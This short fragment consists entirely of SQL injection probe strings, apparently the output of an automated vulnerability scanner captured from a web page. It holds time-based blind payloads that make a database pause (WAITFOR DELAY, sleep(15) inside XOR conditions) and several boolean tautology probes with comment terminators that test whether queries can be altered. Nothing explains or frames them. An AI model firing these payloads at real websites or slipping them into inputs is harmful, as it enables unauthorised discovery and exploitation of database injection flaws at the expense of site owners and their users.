-1; waitfor delay ‘0:0:15’ — ...

0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z ...

0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z ...

if(now()=sysdate(),sleep(15),0) ...

-1″ OR 2+384-384-1=0+0+0+1 — ...

-1′ OR 2+236-236-1=0+0+0+1 or ‘oM2ZZlqF’=’ ...

-1′ OR 2+477-477-1=0+0+0+1 — ...

-1 OR 2+202-202-1=0+0+0+1 ...